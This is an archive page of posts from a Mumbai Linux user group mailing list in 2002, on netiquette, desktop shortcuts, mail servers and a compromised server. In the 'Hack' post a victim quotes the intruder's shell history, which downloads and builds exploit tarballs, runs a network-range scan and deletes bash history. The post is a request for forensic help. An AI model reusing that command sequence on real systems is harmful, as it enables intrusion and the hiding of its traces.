Ninad: hello? you send a 500kb attachment to a mailing list? assuming there are 200 people on this list, that's a bandwidth of 100MB wasted!! Do you like wasting resources this way? If you ever post to a mailing list, you post URLs to a uploaded file, or send it directly to person involved. Even a attachment of more than ~10kb is generally frowned upon in mailing lists. I sincerely hope you brush up on your netiquette. - Ashish.

mailing strategies by Tom Christiansen on clpm
by Sameer D. Sahasrabuddhe 29 Nov '02

29 Nov '02

This used to posted frequently on comp.lang.per.misc for obvious reasons - The following message will be posted periodically until observed clue-levels in these parts improve, or until the heat death of the Universe arrives. EXECUTIVE SUMMARY: To send better messages, please trim and summarize what you're replying to, and integrate your quoted text with the body of your message. Don't just put everything at the end. This isn't Jeopardy. People expect question-and-answer, not answer-and-question responses. LONG STORY: Wouldn't you like to make your messages easier for others to read and understand? If so, I have some news posting tips for you. If not, just ignore this. (Of course, if you don't want your messages easier to read and understand, it's not clear why you bother to send them in the first place. :-) I'm going to take a bit of time to explain this, because newcomers to Usenet often lack the cultural background were I to send a superbrief message. Here's the issue: you appear to have quoted the entire message to which you were replying. Worst of all, you have done so by merely appending the complete message at the bottom. Folks are used to reading the original material first, then the follow-up. That's why it's called a "follow-up", you know. :-) If all you want to do is forward a copy of the message, that's one thing, but here you seem to have just blindly pasted the complete old message at the end without providing any content. This is neither a proper public followup nor even a decent private reply. Here's why. First of all, this is massive overkill -- you're supposed to trim your quoted text to only what you're replying to. Otherwise you'll probably violate the netiquette target quoting percentage of 50%. See below. This isn't really an issue of space (I know that a few bytes here and there mean less today than 20 years go), so much as it is of integrating your comments with the old material for continuity. Second, putting everything at the bottom does little good. It doesn't provide the proper context. It's far too late. When you reply to someone's content, the reason you quote the previous message is so that you can provide some degree of contextual continuity. The best way to do this is to interleave what you're quoting with your responses to that particular piece. That means that you should provide a quoted portion, then address what the points therein, then another quoted section, etc. For example, here's how followup replies *should* look if you'd like them to be more effective. > Joe said we should eat noodles. But I don't like noodles. They are a pain to prepare -- remember that what started this thread was how to cook using only a microwave, not real cooking -- and they provide you with very little sustenance in the long run. It's like eating cardboard, nutritionally speaking. > He also suggests adding anchovies. What is this fish fetish? Not all of us like the little minnows with the lingering briny taste swimming around our mouths for the next few hours or days. Can you imagine this on a date? Iccccch! Notice how in the text above, alternate quoted passages are interleaved with new response text. Notice also that the new text far exceeds the old text. This is the way it should be. Here's an excerpt from RFC 1855, which explains why this is bad. You can read the whole RCS at http://www.faqs.org/rfcs/rfc1855.html - If you are sending a reply to a message or a posting be sure you summarize the original at the top of the message, or include just enough text of the original to give a context. This will make sure readers understand when they start to read your response. Since NetNews, especially, is proliferated by distributing the postings from one host to another, it is possible to see a response to a message before seeing the original. Giving context helps everyone. But do not include the entire original! If you are receiving this message in response to a news posting, please understand that all modern newsreaders provide a mechanism to fetch the parent article, so it is seldom necessary to quote the whole thing. Sometimes even mail readers provide this, depending on the mail headers and the list archival mechanism on your own system. Here's a section from the essential netiquette guide, "A Primer on How to Work With the Usenet Community", which is available in news.announce.newusers. Perhaps your service provider neglected to point you at this newsgroup before you got swallowed up by all of Usenet. It's not only a good read; it's critical to understanding the culture you're now moving in. Summarize What You are Following Up. When you are following up someone's article, please summarize the parts of the article to which you are responding. This allows readers to appreciate your comments rather than trying to remember what the original article said. It is also possible for your response to get to some sites before the original article. Summarization is best done by including appropriate quotes from the original article. Do not include the entire article since it will irritate the people who have already seen it. Even if you are responding to the entire article, summarize only the major points you are discussing. It's even more annoying when people needlessly quote the original's automatic trailing matter, like signatures, adverts, or disclaimers. Please don't do that. I'm honestly not trying to annoy you! I'm just trying to give tips about what works well in electronic messages, and what doesn't. This used to be standard fare before one got a Usenet account, but now something seems to be lost. -- MTech Student, Reconfigurable Computing Lab, KReSIT, IIT-Bombay. ---------------------------------------------------------------------- For there are moments when one can neither think nor feel. And if one can neither think nor feel, she thought, where is one? -- Virginia Woolf, "To the Lighthouse" [Quoted in "VMS Internals and Data Structures", V4.4, when referring to powerfail recovery.]

Desktop shortcuts and Menu Item for GNOME
by kshitijv 28 Nov '02

28 Nov '02

Hi, I am not able to create Desktop shortcuts and Menu item in GNOME. I discovered that for both KDE and GNOME, its an accepted standard to have .desktop files to represent shortcuts. File contains group and name-value pairs like: [Desktop Entry] Name= Type= Comment= I created few files for KDE and all of them worked fine. But on GNOME I am not able to run them. My concern is to provide shortcuts to HTML files. I tried to create file like: [Desktop Entry] Name=MyLink Type=Link URL=file:/home/kshitij/myApp.html Icon=/usr/share/icons/html.xpm Terminal=false MultipleArgs=false Comment=Simple HTML File link It simply doesn't work. The icon is created on Desktop but can't be executed. Although it works absolutely fine on KDE. I can create Application links in GNOME i.e. Type=Application Exec=<executable-name> This works but Links do not work. Can anybody help me? -Kshitij kshitijv e-mail: kshitijv(a)forindia.com

Help to query X !!
by Akhilesh S Shirbhate 28 Nov '02

28 Nov '02

After the previous quick responses... I have one more small query again! Now , I want to query the X servers.. See.. what I have to do is this: I have a deamon running... Now I give it some username It first checks if the user is presntly logged in... (either on tty or on pts ). Then I determine the delay for which the user was idle on the terminals on which he has logged in... Currently , I am doing this for tty and pts only. Now, I pop up a window on the terminal(tty ; using ncurses) on which the user is logged on and has least idle time (similar to write command's working). My deamon also has the property to popup GUI windows on X screens. But now, I have this problem : How do I determine if the user is presently logged on X ? And if he is , which DISPLAY is he using ??? Is there something like utmp (which works for tty and pts records )... for X ? I want to determine if the user has least idle time on X or on tty/pts .. I wrote the code for tty.. but what abt X ??? Please guide me.. Thanx in advance ! -- ********************************************************** * Never say die unless you are dead ! * * .oooO * * ( ) Oooo.

I would like to attend the meetings of ILUG-BOM. It would be nice if someone could throw some light on how to reach the place and such details... ( I am completely new to Mumbai, and Hindi is one of my weakpoints.). I would also like to know the general activities and strategy of the group. Is it something like ilug-chennai, which is completely free for all, or does it have a slight commercial tilt .. or something..... Thanks for the info. Regards Natarajan

Re:[OT] New to ILUG-BOM

Hi Kishore!, Thanks for spending Rs 2.00 by replying to my mail :P. As of the guidelines to the venues, I wasnt able to find any links in the website. That was the reason why I made the post. I heard that B'lore LUG is aided by commercial organizations, has a bank account of its own, and so on... Being new to Mumbai LUG, I was curious to know about that.

Open source Vs Free software (Kerberos 5)
by vinayak_hegde＠softhome.net 26 Nov '02

26 Nov '02

hi linuxers, This is a paragraph from the latest issue of network magazine (international edition) <quote> Microsoft added its own proprietary authorization data-the list of Security IDs (SIDs) that are associated with an authenticated user within each ticket-to tickets within its implementation of Kerberos 5. Kerberos uses principles, or structured names, for authorization, but left room in RFC1510 for vendor-based extensions, such as the one Microsoft designed. While this extension is not terribly useful on Unix systems participating in a domain, Microsoft's refusal to share the details of the extensions means that mixed Kerberos domains must use a Windows 2000 DC, instead of a Unix KDC that an organization might prefer. Microsoft's secret extensions are the second reason Microsoft chose to use an open source security protocol. </quote> Here is the link to the full aricle http://www.networkmagazine.com/article/printableArticle?doc_id=NMG20021104S0 007 What worries me is that as in the case above M$ badmouths open source/ free software and uses it when it is to their advantage. As in the case above, the open source concept weakens the free software philosophy. Also another point which struck me in the above paragraph was that M$/ propriety vendors can use open source to their advantage by developing their extensions and use open source code in their applications. GPL (copylefting) takes care of this by requiring extensions/modifiactions to be turned back into the community. Open source has none of this "restrictions" (the programmer himself has chosen to use open source code so, actually they are not restrictions). What M$ managed to do is that people having mixed kerberos domains (which is usually the case in corporates/large organisations) "are forced" to use windows KDC which is wrong. Also if there are some security flaws, one cannot fix them leaving the windows KDC open to attacks. ************** Vinayak Hegde APGDST Student NCST-Juhu **************

Hack
by mails＠munshi.dyndns.org 25 Nov '02

25 Nov '02

Hello, Well, I have been hacked and my /var/log/messages has next to nothing in it. I am keen on getting to this person who did it. Fortunely I have not lost a lot any important data. But first the proof that I have been hacked. /var/log/messages (This is the first line) Nov 18 02:22:53 munshi userdel[8048]: delete user `ftp' Nov 18 02:22:53 munshi userdel[8048]: remove group `ftp' Nov 18 06:24:41 munshi ddclient[23392]: WARNING: cannot connect to checkip.dyn$Nov 18 06:32:21 munshi ddclient[23392]: WARNING: cannot connect to checkip.dyn$Nov 18 06:40:01 munshi ddclient[23392]: WARNING: cannot connect to checkip.dyn$ The part after 6:24 is proper, but my net wasnt working at that time (this is a normal thing and I do not susspect the hacker to do this, it is a normal thing and happens almost everyday, I get loggedout from my servers, the network is up but I cant access the internet also other from the outside world cant access my PC), so there are warning messages by my automatic IP updater from 6:24 onwards. What I am amazed is that after an entry at 2:22am there is an entry at 6:24, so someone has definately hacked and deleted the middle section, he probably left the upper part just to misguide us. The .bas* were deleted, but unfortunately for the hacker the .bash_histrory has some important data there, cd /dev/ida/.sys/trojan wget www.geocities.com/master0n/bestwu.tgz tar zxvf bestwu.tgz cd aw make ./awu 24.132 cd .. lsd ls rm -rf aw bestwu.tgz ls wget www.geocities.com/dont_haxer/b.tgz tar zxvf b.tgz rm -rf b.tgz cd .b ./bash ./bash cd /root rm -rf .bas* After that is what I had been doing. So that is the last entry. So my .bash_profile has been deleted and that is how I came to know that something i wrong, I have not rebooted my system as yet, and do not thing it is necessary. There are a few other things that amaze me here are 1. First is the time 2:22am to 6:24am is free where as there should have been entries from ddclient, a program that I am running. 2. The /dev/ida/.sys directory should exist since that is where the above commands have been run and there is no command that is deleting that directory in .bash_history. 3. netstat -a, ps ax are not working since the required libraries are not present, so I cant check which ports are open. The error given by netstat -a is bash# netstat -a sh: error in loading shared libraries: libtermcap.so.2: cannot open shared object file: Error 23 cat: error in loading shared libraries: libc.so.6: cannot open shared object file: Error 23 egrep: error in loading shared libraries: libc.so.6: cannot open shared object file: Error 23 cat: /root/.net: Too many open files in system bash# ps ax sh: error in loading shared libraries: libtermcap.so.2: cannot open shared object file: Error 23 egrep: error in loading shared libraries: libc.so.6: cannot open shared object file: Error 23 cat: /root/.pstmp: Too many open files in system cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory top is working fine but does not show me any problems 4. wget was downloading mandrake for me, it should have got disconnected since my net wasnt working, but it is still continuing to download the ISO's for me. Also another amazing thing is that wget was downloading 2nd ISO when I logged in and just downloaded 114MB of it and switchedover to 3rd ISO. INFO Working on RH6.2, full installation. telnet was off, ssh is not there, ddclient may have opened a few ports that I may have not noticed, I just downloaded and installed ddclient just two days back, but it is a perl script, I have not yet gone through that script as yet. Please help me to find the person who did this. Thanks in advance. Bye.

Hi Amish, > I am going live with a complete webhosting and domain name >providing >service. I need to know which is the best mail server for this >purpose. I have worked both with sendmail and qmail and have a few live imstallations of both. My experience tells me that you can safely go with qmail. Remember though, that qmail does not serialize mail. It sends mail on the wire as aoon as it is received. So if you need to serialize your mails, maybe postfix is a better choice- I guess it does this. For virtual hosting in sendmail, maybe the vhost package does what you want but I am not sure. google for it. qmail+OpenLDAP rocks for me. -- ashok

Mail server?
by Amish K. Munshi 25 Nov '02

25 Nov '02

Hi, I know I am asking a wrong question just as many have but I am asking just becuse of a little nervousness. I really need help on this one and the only reason I am asking this is to know how much help I will get on any mail server. on this list. I am going live with a complete webhosting and domain name providing service. I need to know which is the best mail server for this purpose. As always the choices are qmail,sendmail, postfix and exim. I have worked with qmail, postfix and sendmail with decreasing order of knowledge about hem. I have never installed exim. Other question is that, does sendmail provide virtual hosting. I have used virtual hosting but that was as system users in sendmail. I want completely transperent virtual hosting. So a amish{at}munshi.dyndns.org will not be any diferent from amish{at}munshi.d2g.com. That will not do my needs. Sorry guys for this question, but its a little more than just a same question. Bye.

Execute as root on apache
by Amish Munshi 24 Nov '02

24 Nov '02

Hello all, I have a script which is going to add a new user to the system. I am using PHP to execute that script, I have a suid on that script (shell script). But I get permission denied in the logs, the page opens well in the browser. I tried the following, changing the owner of the script to apache and root while giving it 711 permission and 4711 permission. But all does not work. It seems that apache just reads the file and execute the commands in it. How can I execute a script in any folder (on the system) as root. Bye.

creating Desktop shortcuts form java program
by kshitijv 24 Nov '02

24 Nov '02

Hello Luggers, I am developing a cross platform installer in java. I need to create desktop shortcuts and start menu item on Unix/Linux. I am considering KDE, GNOME, Openwin and CDE as target GUI for Unix/Linux systems. I am a newbie for GUI programming on Unix/Linux. Can anybody help me to accomplish this? I am ready for using any native code if required. It will be great if I can get insight with respect to nature and structure of shortcut (link) files. Is there any readymade library (docs) of APIs like we have MSDN for windows? -Kshitij kshitijv e-mail: kshitijv(a)forindia.com

Mumabi Linux tour
by mails＠munshi.dyndns.org 24 Nov '02

24 Nov '02

Hi, How about having a tour around the city, visiting as many hardware assemblers and teaching them basic installation of linux (hope we agree on a distribution which we can install in front of them). My hardware vendor have engineers who are prety smart but have never used linux so do not know much about it and can not support my system. Since many assemblers take a risk by giving pirated softwares with their PC's they may like this idea. Also Linux will gain a upper hand in being the first OS that people get on their PC and problems with learning a new OS will not exist for linux anymore. We will be fighting propritary software right the at the root. The negative side will be that their software modems and printers (which are cheaper) will not make a market so they may even resist this. We also can ask them (the assemblers and the new users) to subscribe to our mailing list to ask for help. I would suggest an easy to use distribution like Mandrake, or caldera. I would really prefer caldera since it fits on a single CD and assemblers can easily provide a copy of with every comp they sell. Also caldera has limited number of applications, for example just 1-2 broswers, which can be quiet helpful for newbies to computers, also I have not heard a lot of flames for caldera as there are for RH and mandrake. On the other hand, Mr. Rajeev had a problem with Myson NIC which worked under Mandrake, but the kernel module would not compile under most of the other distributions. This is finally just an idea guys, may be there is something very wrong in this idea and may not work at all. Bye

Re: creating Desktop shortcuts form java program
by kshitijv 24 Nov '02

24 Nov '02

Hi Trevor, I need to create shortcuts to only HTML files (startup files for installed application). I have KDE and GNOME installed. I searched for the directories and found that KDE Desktop shortcuts are in Desktop directory in user's home. The K menu items are in /usr/share/applnk/. I was able to create Desktop shortcuts for KDE. But... On our system, the "users" group doesn't have write permission on menu directory. Also for GNOME its files are in /usr/share/gnome/apps/ where "users" don't have write permission. My client will be a normal user who will use the installer and should be able to create shortcuts for him without needing special access previlages. I tried to create files in user's home directory but they didn't reflected in start menu. For GNOME I could not create Desktop shortcuts also. If I create them manullay (right click desktop and select new link item) the corresponding files that are created have some generated names like "url13546" etc. and contain a single line like URL: file:/home/kshitij/myfile.htm If I create similar file (say testlink) it doesn't work. Also no HTML icon is displayed. You talked about some project pages. Can you forward me links to them? Thnaks for help. -Kshitij > > a newbie for GUI programming on Unix/Linux.

Hi, Sorry for this mail in this fasion, but there is a temporary problems at my place, Speaking of Voice Chat, just hold on for approx 2 months, you are going to be amazed by the software I am making right now, It will be easy to use, secure and ofcourse opensource under GPL (thanks to sandeep for providing insight into the licences the other day). I am writing a basic overview will be put up on the net in day or so, it is a final year project for me, and I am doing this for IIT. Wish me luck till then. I have tried to use Gnomemeeting but somehow never managed to find user who is ready to voice chat with me. Probably some day I will do a VNC with my self and check gnomemeeting and netmeeting connectivity and also test my software (called as VChat) with it. See ya, and sorry for this ugly mail. Bye.

proFTP permissions

Hi, I installed proftpd after sufferring from a trojan for wu-ftpd, my problems are as follows 1. I was a different permission for a users file which are being uploaded. So if a user ftp's to my site and uploads the file then it should have 755 permission, (I am hosting a few perl scripts for a friend of mine and would like them to be executable for all) 2. I want to start the server automatically during boot, I did create a ftp file in the xinetd.d as mentioned in its docs dir and restarted the xinetd daemon, but it does not start. Presently I as starting it using rc.local, and it is starting automatically, but I would like to do it the right way either using the tcp wrappers (xinetd) or the BSD style rc?.d/ way. Thanks in advance. Bye.
